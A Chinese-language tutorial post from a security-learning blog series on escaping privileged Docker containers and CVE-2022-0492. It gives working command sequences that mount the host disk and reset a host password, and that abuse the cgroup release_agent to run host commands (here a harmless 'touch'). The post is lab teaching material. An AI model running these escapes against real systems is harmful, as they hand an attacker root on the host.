iT邦幫忙

2022 iThome 鐵人賽

DAY 19
0
影片教學

從建立環境、驗證漏洞、感受漏洞來學習資安系列 第 21

Day19 - 當容器逃逸的生活遇到瓶頸時,知道該怎麼做嗎?繼續用 unshare 就對了。(作業7)

  • 分享至 

  • xImage
  •  

「當你的生活遇到瓶頸時,你知道該怎麼做嗎?繼續向前游就對了。」-《海底總動員》

Yes

  • 第19天要針對容器逃逸第一類手法 - Docker 設定不當來進行手法說明。這次的解說會包含攻擊手法以及逃逸相關漏洞的說明,該漏洞的編號為 CVE-2022-0492,相關資訊如下。/images/emoticon/emoticon37.gif

  • 漏洞相關資訊

    • 漏洞編號 : CVE-2022-0492
    • CVSS 3.0 分數 : 7.8 HIGH
    • 漏洞類型 : 容器逃逸
    • 使用版本資訊
      • Ubuntu: 22.04.1 LTS
      • Linux kernel: 5.16.20-generic
    • 漏洞先備知識 :
      • Docker 基礎概念
    • 漏洞收穫技能 :
      • Linux Cgroup 切換
      • 容器逃逸概念
  • 說明逃逸背景

複習一下容器逃逸的手法大致分為三類,這三類手法難易程度依序越來越難,分別如下 :

  1. Docker 設定不當
  2. Docker 相關組件的設計疏失
  3. Linux kernel 漏洞
  • 第一類的手法通常透過給予容器所有的 Capability,即這個容器的 ROOT 帳號與宿主機的 ROOT 的權限一致時,就可以透過各種花式手法進行容器逃逸,而這部分會是這次主要介紹的逃逸手法。

  • 逃逸手法的起手式通常都是因為權限過高而進行掛載,接下來就會分為兩類,間接或是直接取得控制權。

  1. 變更宿主機檔案狀態,透過下個步驟進而操控宿主機。
  2. 誘發宿主機執行任意指令,直接取得控制權。
  • 這邊就先使用一個間接控制的手法,首先在起容器時先加入 --privileged 給予容器 ROOT 帳號所有的能力

步驟如下 :

  1. docker run --rm -it --privileged ubuntu bash
  2. apt update && apt install fdisk libcap2-bin ssh -y
  3. capsh --print
  4. fdisk -l # 如果一開始沒給 --privileged 會甚麼都看不到,找到類似下面訊息
Device       Start       End   Sectors  Size Type
/dev/sda1     2048      4095      2048    1M BIOS boot
/dev/sda2     4096   1054719   1050624  513M EFI System
/dev/sda3  1054720 104855551 103800832 49.5G Linux filesystem
  1. mount /dev/sda3 /mnt # 掛載裝置到目錄
  2. chroot /mnt
  3. passwd 使用者帳號 # 用來修改使用者密碼,或是寫入 crontab 觸發排程
  4. ssh 宿主機IP # 透過修改後的密碼登入宿主機
  • 接著介紹一個直接控制的手法,透過在容器內掛載宿主機的 cgroup ,再利用 notify_on_release 去觸發宿主機執行 shell 指令達到 RCE 的效果。這部分可參考資料 Docker SYS_ADMIN 容器逃逸原理解析

逃逸步驟如下 :

  1. docker run --rm -it --privileged ubuntu bash
  2. mkdir /tmp/cgroup
  3. mount -t cgroup -o rdma cgroup /tmp/cgroup # 出現權限不夠??
  • 做到這邊應該會失敗才對,至於是為什麼呢? /images/emoticon/emoticon19.gif 我當時也是困惑了很久,直到我看到另篇參考文獻寫到 New Linux Vulnerability CVE-2022-0492 Affecting Cgroups: Can Containers Escape? 裡面有提到一段話。 "Linux supports two cgroup architectures called v1 and v2. The new vulnerability only affects cgroup v1, which is currently the more widely used architecture by far." 所以我推測跟目前使用的 cgroup 有極大的關係,因此接著要來做 cgroup 的版本切換。參考資料為 Changing cgroup version

步驟如下 :

  1. cat /sys/fs/cgroup/cgroup.controllers # 有檔案應該就是 v2 版本
  2. sudo vim /etc/default/grub # 新增或修改以下內容
GRUB_CMDLINE_LINUX="systemd.unified_cgroup_hierarchy=0"
  1. sudo update-grub
  2. sudo shutdown -r now
  3. cat /sys/fs/cgroup/cgroup.controllers #檔案會不見
  4. docker run --rm -it --privileged ubuntu bash
  5. mkdir /tmp/cgroup
  6. mount -t cgroup -o rdma cgroup /tmp/cgroup
  7. mkdir /tmp/cgroup/cgroup_2
  8. echo 1 > /tmp/cgroup/cgroup_2/notify_on_release # 設定子 cgroup 在退出的時候觸發父 cgroup 的 release_agent
  9. 取得宿主機的 host_path 路徑
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgroup/release_agent
  1. 建立要觸發的 shell 腳本
echo '#!/bin/sh' > /cmd
echo "touch /tmp/pwned" >> /cmd
chmod a+x /cmd
  1. sh -c "echo $$ > /tmp/cgroup/cgroup_2/cgroup.procs" # 在子 cgroup 建立一個立即結束的 process 進行觸發
  2. sudo apt-get install cgroup-tools
  3. cgdelete rdma:cgroup_2 # 移除剛剛建立的 cgroup,可做可不做
  • 想不到一不小心就塞這麼多東西了,至於 CVE-2022-0492 的原理很簡單,其實就是剛剛這個容器要做這件事情需要一些特定權限,但是因為 Linux kernel 的設計疏失,導致可以僅僅只是透過 unshare 就做到提升權限的效果,這部分就當作回家作業好惹。

CVE-2022-0492 回家作業 : /images/emoticon/emoticon33.gif

docker run --rm -it --security-opt="seccomp=unconfined" --security-opt="apparmor=unconfined" ubuntu bash 

上一篇
Day18 - 不要只看外表,容器逃逸,是由內而外逃脫出來的。(作業6解答)
下一篇
Day20 - 如果我沒看錯,你就是簽章中的霸主~ 心靈簽章(Psychic Signatures) (作業7解答)
系列文
從建立環境、驗證漏洞、感受漏洞來學習資安37
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言